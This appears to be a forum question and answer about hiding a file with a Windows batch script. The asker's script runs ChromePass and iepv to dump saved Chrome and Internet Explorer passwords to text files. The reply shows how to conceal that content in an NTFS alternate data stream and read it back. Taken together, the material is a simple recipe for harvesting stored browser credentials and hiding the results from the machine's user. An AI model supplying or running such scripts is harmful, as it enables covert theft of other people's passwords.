Make a file hidden from a batch script

Question

Does anyone know how I can use the batch code to hide a file? This is my code:

@echo off
start ChromePass.exe /stext ChromePass.txt
start iepv.exe /stext iepv.tx

Here's another way using stream:

Hide.bat

@echo off
more < file.txt > fileB.txt:stream1
pause

• Read from file.txt and echo the content into fileB.txt's stream1
• Note:

Normal file explorer/ text editor can see the file, but cannot read the content inside it

Read.bat

@echo off
more < fileB.txt:stream1 
pause

• Read fileB.txt's content from stream1
